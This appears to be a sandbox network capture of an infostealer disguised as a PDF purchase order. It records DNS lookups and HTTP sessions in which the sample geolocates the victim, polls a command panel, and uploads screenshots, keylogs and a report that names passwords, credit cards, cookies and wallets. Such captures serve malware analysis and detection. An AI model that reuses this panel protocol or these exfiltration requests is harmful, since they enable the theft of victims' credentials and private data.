Feb 21, 2023 07:06:45.944133043 CET	8.8.8.8	192.168.2.3	0xab9	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:06:56.084412098 CET	8.8.8.8	192.168.2.3	0x5724	No error (0)	mavelecgr.com		89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:06:56.829899073 CET	8.8.8.8	192.168.2.3	0x8fc4	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:06:58.781374931 CET	8.8.8.8	192.168.2.3	0x3f5e	No error (0)	mavelecgr.com		89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:07:04.458045959 CET	8.8.8.8	192.168.2.3	0xd6b7	No error (0)	mavelecgr.com		89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:07:04.922997952 CET	8.8.8.8	192.168.2.3	0xba29	No error (0)	www.google.com		142.250.180.132	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:07:18.901218891 CET	8.8.8.8	192.168.2.3	0xdb46	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:07:19.597470999 CET	8.8.8.8	192.168.2.3	0x4aaa	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:07:20.264987946 CET	8.8.8.8	192.168.2.3	0x60cf	No error (0)	mavelecgr.com		89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:07:25.778420925 CET	8.8.8.8	192.168.2.3	0x1a5f	No error (0)	mavelecgr.com		89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:07:30.212086916 CET	8.8.8.8	192.168.2.3	0x4ea8	No error (0)	mavelecgr.com		89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:07:42.529144049 CET	8.8.8.8	192.168.2.3	0x6bfe	No error (0)	mavelecgr.com		89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:07:48.526240110 CET	8.8.8.8	192.168.2.3	0x3df7	No error (0)	mavelecgr.com		89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:07:59.513340950 CET	8.8.8.8	192.168.2.3	0xd79f	No error (0)	mavelecgr.com		89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:08:03.066035032 CET	8.8.8.8	192.168.2.3	0x8da2	No error (0)	mavelecgr.com		89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:08:14.259848118 CET	8.8.8.8	192.168.2.3	0x3d51	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:08:21.708363056 CET	8.8.8.8	192.168.2.3	0x8559	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:08:46.121270895 CET	8.8.8.8	192.168.2.3	0x168a	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:09:20.672951937 CET	8.8.8.8	192.168.2.3	0x2b3f	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Feb 21, 2023 07:09:23.845403910 CET	8.8.8.8	192.168.2.3	0x22d3	No error (0)	mavelecgr.com		89.45.67.2	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

accounts.google.com

clients2.google.com

cdn.discordapp.com

ip-api.com

mavelecgr.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49702	216.58.209.45	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49703	142.250.180.174	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49737	208.95.112.1	80	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 21, 2023 07:07:18.933494091 CET	1627	OUT	GET /json/ HTTP/1.1 Host: ip-api.com
Feb 21, 2023 07:07:18.971183062 CET	1627	IN	HTTP/1.1 200 OK Date: Tue, 21 Feb 2023 06:07:18 GMT Content-Type: application/json; charset=utf-8 Content-Length: 286 Access-Control-Allow-Origin: * X-Ttl: 27 X-Rl: 42 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 48 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 7a 69 70 22 3a 22 38 30 34 32 22 2c 22 6c 61 74 22 3a 34 37 2e 33 36 38 32 2c 22 6c 6f 6e 22 3a 38 2e 35 36 37 31 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 69 73 70 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 6f 72 67 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 61 73 22 3a 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 35 32 2e 38 22 7d Data Ascii: {"status":"success","country":"Switzerland","countryCode":"CH","region":"ZH","regionName":"Zurich","city":"Zurich","zip":"8042","lat":47.3682,"lon":8.5671,"timezone":"Europe/Zurich","isp":"Datacamp Limited","org":"Datacamp Limited","as":"AS212238 Datacamp Limited","query":"84.17.52.8"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49738	208.95.112.1	80	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 21, 2023 07:07:19.628288031 CET	1628	OUT	GET /json/ HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Feb 21, 2023 07:07:19.665237904 CET	1628	IN	HTTP/1.1 200 OK Date: Tue, 21 Feb 2023 06:07:19 GMT Content-Type: application/json; charset=utf-8 Content-Length: 286 Access-Control-Allow-Origin: * X-Ttl: 26 X-Rl: 41 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 48 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 7a 69 70 22 3a 22 38 30 34 32 22 2c 22 6c 61 74 22 3a 34 37 2e 33 36 38 32 2c 22 6c 6f 6e 22 3a 38 2e 35 36 37 31 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 69 73 70 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 6f 72 67 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 61 73 22 3a 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 35 32 2e 38 22 7d Data Ascii: {"status":"success","country":"Switzerland","countryCode":"CH","region":"ZH","regionName":"Zurich","city":"Zurich","zip":"8042","lat":47.3682,"lon":8.5671,"timezone":"Europe/Zurich","isp":"Datacamp Limited","org":"Datacamp Limited","as":"AS212238 Datacamp Limited","query":"84.17.52.8"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49739	89.45.67.2	80	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 21, 2023 07:07:20.353034973 CET	1647	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:07:20.399065018 CET	1647	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:07:20 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49740	89.45.67.2	80	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 21, 2023 07:07:25.877439976 CET	1772	OUT	GET /webpanel//gate.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com Connection: Keep-Alive
Feb 21, 2023 07:07:25.926975012 CET	1773	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:07:25 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	49741	89.45.67.2	80	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 21, 2023 07:07:30.301331997 CET	1774	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13dfb25804df Host: mavelecgr.com Content-Length: 71961 Expect: 100-continue
Feb 21, 2023 07:07:30.344611883 CET	1778	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:07:30.344965935 CET	1778	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 62 31 33 64 66 62 32 35 38 30 34 64 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 Data Ascii: -----------------------8db13dfb25804dfContent-Disposition: form-data; name="file"; filename="2023-02-21-07-45-40-screenshot.png"Content-Type: application/octet-stream
Feb 21, 2023 07:07:30.345208883 CET	1786	OUT	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 00 00 00 04 00 08 06 00 00 00 be 93 f4 43 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 Data Ascii: PNGIHDRCsRGBgAMAapHYsodIDATx^ga/+;$&~\|b%aPBdIBP@YdYl-,Y+cltU==Su%?9,yS/f/</?
Feb 21, 2023 07:07:30.345899105 CET	1790	OUT	Data Raw: a9 cf 76 87 ce 9f 6a 5d 33 cd 38 be f5 9d ef 66 0b bd 98 ab af b9 31 7c e2 f3 47 87 83 fe fe e0 32 87 1c be 22 3b 5d 95 b8 ac e9 c4 2b d8 b6 bd ee c0 70 cf fa f5 d9 92 6b 4f ca 9d 1f ff f7 b0 f3 b7 7e bd fc 37 37 be 9e 7b d6 ad 0b 57 bf fe 75 dd Data Ascii: vj]38f1\|G2";]+pkO~77{Wu#9o!+eJ_zp*cw720>4^60~X6\|bwio\|_8t7O&MI6;TnG]~}~5pC}gmcw7e
Feb 21, 2023 07:07:30.388447046 CET	1794	OUT	Data Raw: 23 77 62 1c 4f 72 07 cb 94 da 3c b9 93 ef 86 ed ab 9f 44 c7 94 cb e8 db ae 61 27 fc c5 b8 f7 d6 b6 a7 bb bc 74 fb 07 b6 7b a0 0c e8 ac a3 6f 7f fb ee fb dc 76 d5 ee bb 38 7d bd 48 28 32 58 0c 64 e6 cb 1e b3 a9 74 d6 9d 29 32 8b f4 2d bf 58 d6 d4 Data Ascii: #wbOr<Da't{ov8}H(2Xdt)2-X#fw<:;{-q1.1Ldd=yKr,#}5L}QLtuNmgrSk>s3/kuwm2o;{hz7J}i"""-I
Feb 21, 2023 07:07:30.388448000 CET	1799	OUT	Data Raw: 40 8b 29 00 01 00 00 00 a0 c5 14 80 00 00 00 00 d0 62 0a 40 00 00 00 00 68 31 05 20 00 00 00 00 b4 98 02 10 00 00 00 00 5a 4c 01 08 00 00 00 00 2d a6 00 04 00 00 00 80 16 53 00 02 00 00 00 40 8b 29 00 01 00 00 00 a0 c5 14 80 00 00 00 00 d0 62 0a Data Ascii: @)b@h1 ZL-S@)b@h1 ZL-S@)b@h1 ZL-S@)b@h1 ZL-
Feb 21, 2023 07:07:30.388546944 CET	1808	OUT	Data Raw: 14 80 00 8c 6d 12 0a c0 5b 6e b9 25 ac 5f bf be fc cc be f8 b6 dd 0b 2f b8 20 5c b9 71 63 b8 7a cd 9a 70 c3 25 ab c3 6d 97 ac 0a 77 9c 7d 56 f8 da d1 47 87 9b 3f fc e1 70 d3 7b df 1b 76 bd f5 6d e1 c6 37 bf 25 dc f0 17 6f 0a d7 fd d9 9f 87 9d af Data Ascii: m[n%_/ \qczp%mw}VG?p{vm7%oCwA7Wba^X,+gQ8^iE8gZ;>1Qs`R(,rV;.\t9u$\|-LG>n
Feb 21, 2023 07:07:30.388942003 CET	1813	OUT	Data Raw: ba 34 c5 b8 a1 eb 6b 5a c6 74 c3 ab db dd 54 8f 9b 15 cb 8a 7d 5e 5e 4c 13 ef af 58 16 c6 42 af be ac dc 32 1a 96 3b fd 76 74 8a b6 25 c5 3e 2e 5b be a2 98 ae 3b ae da df 5e 6a f7 45 6e b9 b9 9f 47 19 9f 5b 57 af b8 2c a6 1d b2 bc 69 ef 9b be e5 Data Ascii: 4kZtT}^^LXB2;vt%>.[;^jEnG[W,i/{ZO(@o=+C'==.G/b8e/?>_?_Xv'UC\|#EOzRXnW6V=ny
Feb 21, 2023 07:07:30.429013014 CET	1816	OUT	Data Raw: 30 36 05 a0 88 88 c8 60 14 80 00 4c 0a 05 20 00 63 53 00 8a 88 88 0c 46 01 08 c0 a4 50 00 02 30 36 05 a0 88 88 c8 60 14 80 00 4c 0a 05 20 00 63 53 00 8a 88 88 0c 46 01 08 c0 a4 50 00 02 30 36 05 a0 88 88 c8 60 14 80 00 4c 0a 05 20 00 63 53 00 8a Data Ascii: 06`L cSFP06`L cSFP06`L cSFP06`L cSFP06`L cSFP06`L cSFP06`L cSFP06`L cSF
Feb 21, 2023 07:07:30.431648016 CET	1818	OUT	Data Raw: f1 ad 54 f1 e4 2a 5e 59 21 22 22 b2 90 89 05 5f 95 6a 58 7c 4d 8a af 4d f1 35 2a be 56 c5 d7 ac f8 1f 59 f1 35 2c be 96 55 57 fe d5 cb bf fa 67 ff 0d bb fa 4f 01 08 c0 b8 14 80 00 cc 89 ea c4 a4 2a 01 73 05 60 75 15 60 ae 04 8c 27 44 f1 c4 28 9e Data Ascii: T^Y!""_jX\|MM5VY5,UWgO*s`u`'D( XX'T<xeE<]E5)6U_\|]U`N''U8ow"0^IQU!(""RU//mz`(3i^+UX})H@WL
Feb 21, 2023 07:07:30.431648016 CET	1820	OUT	Data Raw: 27 cf a8 c1 34 c6 0e 11 a5 a7 8a 2a a8 be e8 29 9a 02 94 4e 51 22 42 62 f2 8c 28 a6 68 44 94 46 25 0a 98 d8 55 81 51 11 25 31 fa 34 b6 e4 09 28 b6 04 23 f8 ec 4a 41 05 0c bd 28 14 5d 81 34 25 eb 7f be bd ef ef 9c ef ac bb cf ad 2a aa 68 3c ef fb Data Ascii: '4)NQ"Bb(hDF%UQ%14(#JA(]4%h<s^[7B!Ba`!B!BcL6C!B!BcB!B!B!B!lB!B!0d0B!B!1&!B!B!1!B!Ba`!B
Feb 21, 2023 07:07:30.481353998 CET	1853	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:07:30 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:07:30.556056976 CET	1853	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13dfbddb6613 Host: mavelecgr.com Content-Length: 256 Expect: 100-continue
Feb 21, 2023 07:07:30.599248886 CET	1853	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:07:30.729662895 CET	1854	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:07:30 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:07:30.734430075 CET	1854	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:07:30.781800985 CET	1854	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:07:30 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:07:35.838416100 CET	1854	OUT	GET /webpanel//gate.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:07:35.884959936 CET	1855	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:07:35 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49743	89.45.67.2	80	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 21, 2023 07:07:42.632716894 CET	1856	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e067e21e36 Host: mavelecgr.com Content-Length: 51105 Expect: 100-continue
Feb 21, 2023 07:07:42.675981045 CET	1856	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:07:42.701440096 CET	1856	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 62 31 33 65 30 36 37 65 32 31 65 33 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 Data Ascii: -----------------------8db13e067e21e36Content-Disposition: form-data; name="file"; filename="2023-02-21-07-50-30-screenshot.png"Content-Type: application/octet-stream
Feb 21, 2023 07:07:42.701596975 CET	1864	OUT	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 00 00 00 04 00 08 06 00 00 00 be 93 f4 43 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 Data Ascii: PNGIHDRCsRGBgAMAapHYsod\IDATx^lYY'&u{7u[UuKP&3E^IiRRA)BElSK[H'JfBfB6$^\|k3bwg<go?k9f>>{.'~>
Feb 21, 2023 07:07:42.701642990 CET	1868	OUT	Data Raw: f3 b9 9c a5 22 60 ad fe 47 81 af 7e 0d 38 d6 b3 e8 57 73 12 47 fd 57 7f a3 b0 17 c7 7c d4 a3 1f 3b 5d f9 96 ab 37 fa a3 2d fa 62 cc f3 5f f8 a2 8d fe 5d b9 fc 89 eb d7 15 f9 85 17 2e fa de f4 ac e9 07 1e fa e8 e9 4f de b4 37 ee ca a7 3f 7a 7a c8 Data Ascii: "`G~8WsGW\|;]7-b_].O7?zz_Qr>\|7o<ftE~9{o9yoO\>z {^}k=fz~m;cQ5y.X:3_Kvp
Feb 21, 2023 07:07:42.744683027 CET	1871	OUT	Data Raw: 98 6b ff f9 11 39 c2 b1 3a 7d 9b d7 bc 9f 38 ee 6a de b5 fb 19 c7 dc db 67 f3 da 9b c4 31 cb 3d 9e 1f a7 d5 3d ac cf d5 5e 3a 8f 59 7b bd 91 ce 75 ad 1f 67 6f 9f 8d fb 52 ee e5 b6 eb a8 cf b1 6d 05 a6 b5 eb 58 8c f9 be b5 79 f6 fa 56 73 6f 9d 63 Data Ascii: k9:}8jg1==^:Y{ugoRmXyVsoc?qsqv3?u{sm<kmG9=v~kss]DDd`oD7[q^XGv9(COs# pF/nW}ns?5{h
Feb 21, 2023 07:07:42.744744062 CET	1876	OUT	Data Raw: 00 00 80 81 29 00 02 00 00 00 c0 c0 14 00 01 00 00 00 60 60 0a 80 00 00 00 00 30 30 05 40 00 00 00 00 18 98 02 20 00 00 00 00 0c 4c 01 10 00 00 00 00 06 a6 00 08 00 00 00 00 03 53 00 04 00 00 00 80 81 29 00 02 00 00 00 c0 c0 14 00 01 00 00 00 60 Data Ascii: )``00@ LS)``00@ LS)``00@ LS)``00@ L
Feb 21, 2023 07:07:42.744776011 CET	1881	OUT	Data Raw: 00 0c 4c 01 10 00 00 00 00 06 a6 00 08 00 00 00 00 03 53 00 04 00 00 00 80 81 29 00 02 00 00 00 c0 c0 14 00 01 00 00 00 60 60 0a 80 00 00 00 00 30 30 05 40 00 00 00 00 18 98 02 20 00 00 00 00 0c 4c 01 10 00 00 00 00 06 a6 00 08 00 00 00 00 03 53 Data Ascii: LS)``00@ LS)``00@ LS)``00@ LS)``00@
Feb 21, 2023 07:07:42.744877100 CET	1885	OUT	Data Raw: d7 90 73 45 7b b6 c5 b2 3d 46 5d cf f3 88 ed 5c 6f 13 7d 79 1e 75 4c 7d dc 62 bb bd 7f 79 8c 58 e6 1c b1 7f 24 cf 2f fa 73 ff 1c 57 db 73 bd 2e 63 ff 1c 97 db d1 17 a9 eb 99 f6 bc 22 75 be 58 e6 7e 75 de 7a bd ed f8 5c df 76 ee 91 76 df 4c 5e 57 Data Ascii: sE{=F]\o}yuL}byX$/sWs.c"uX~uz\vvL^Wm^sQuzyn:O's:GncbY\cyhe2mhberu_=z-4+!Izt2ez2yrL.sXD[UDDN\|L}/
Feb 21, 2023 07:07:42.744930029 CET	1890	OUT	Data Raw: 3a 3e 8f 55 e7 8e e4 7a ce 11 c9 7b 99 f3 e5 dc 75 d9 26 c7 d6 fe 98 e7 5c ff f9 9f 7d b9 9d e3 7b 73 d5 79 72 bd ee df 26 e6 88 f3 cb 7d a2 ad 2e f3 38 75 7c 8e cd fe ec 8b f5 7a ac ba 5f 9d a7 de 8f 18 db ce 19 7d b9 1e 7d d9 5f e7 ca 31 39 4f Data Ascii: :>Uz{u&\}{syr&}.8u\|z_}}_19Oe_/i"1sXlccc#sD^\|v/s9.D/1O,fr^^F_sF2=(yuD{{yNv.<^os=}.8u\|
Feb 21, 2023 07:07:42.785056114 CET	1893	OUT	Data Raw: 79 79 60 ad 93 ef f9 fa 5a 34 79 cd f0 c2 08 67 be 3e 1a 7d 41 dc 98 90 43 bb c9 be 27 36 9b 77 7c ea 0f 8e cd 3f 36 04 ff eb eb 6f ec 5f 5c 81 35 c8 a9 3f 31 28 9e 71 74 fb 8b 64 e6 00 c7 c9 a7 4f 3d c7 cc e1 b5 50 ce 78 17 87 7f cd 5f 6e 98 0d Data Ascii: yy`Z4yg>}AC'6w\|?6o_\5?1(qtdO=Px_n@jz\|x\|7<h_C~}ho5'zkj9scQe-{w&s?N;O(]tLa-prr8qe<\|^eMn/r
Feb 21, 2023 07:07:42.788084984 CET	1903	OUT	Data Raw: 83 e5 db 77 fc 73 79 ec cb 8b aa 0d c0 dd ca 43 5f d8 ad cc 99 35 38 56 ce 27 ec 5f c8 e3 b3 89 d6 df 58 9b d8 64 ab b9 e4 f7 ff bd c3 cb 96 97 ed 57 b6 bc bc 87 2b f6 2b af b8 64 41 f9 fb dd b7 2c 0f 7c ec af cb 39 9f f8 69 99 f1 96 fb ca d6 6f Data Ascii: wsyC_58V'_XdW++dA,\|9io?*7~^\V/Gn\|Qoy\|p5m!_6a<c+q5d-lVyaq\|Qk]1jo:sc\9,z\|9W&c hr\r~;vO
Feb 21, 2023 07:07:42.836034060 CET	1908	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:07:42 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:07:42.968447924 CET	1909	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e07e1f843a Host: mavelecgr.com Content-Length: 241 Expect: 100-continue
Feb 21, 2023 07:07:43.013963938 CET	1909	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:07:43.142818928 CET	1909	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:07:43 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:07:43.188076973 CET	1910	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:07:43.233760118 CET	1910	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:07:43 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:07:43.234663010 CET	1910	OUT	POST /webpanel//logs.php?hwid=CH35A22CC8A7&Passwords=0&CreditCards=0&Cookies=0&AutoFill=0&Wallets=0 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e088acc6b8 Host: mavelecgr.com Content-Length: 46911 Expect: 100-continue
Feb 21, 2023 07:07:43.279433966 CET	1910	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:07:43.369035959 CET	1958	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:07:43 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.3	49744	89.45.67.2	80	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 21, 2023 07:07:48.640336037 CET	1959	OUT	GET /webpanel//gate.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:07:48.686220884 CET	1959	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:07:48 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:07:53.500628948 CET	1960	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e12129d10c Host: mavelecgr.com Content-Length: 87081 Expect: 100-continue
Feb 21, 2023 07:07:53.544095039 CET	1960	IN	HTTP/1.1 100 Continue
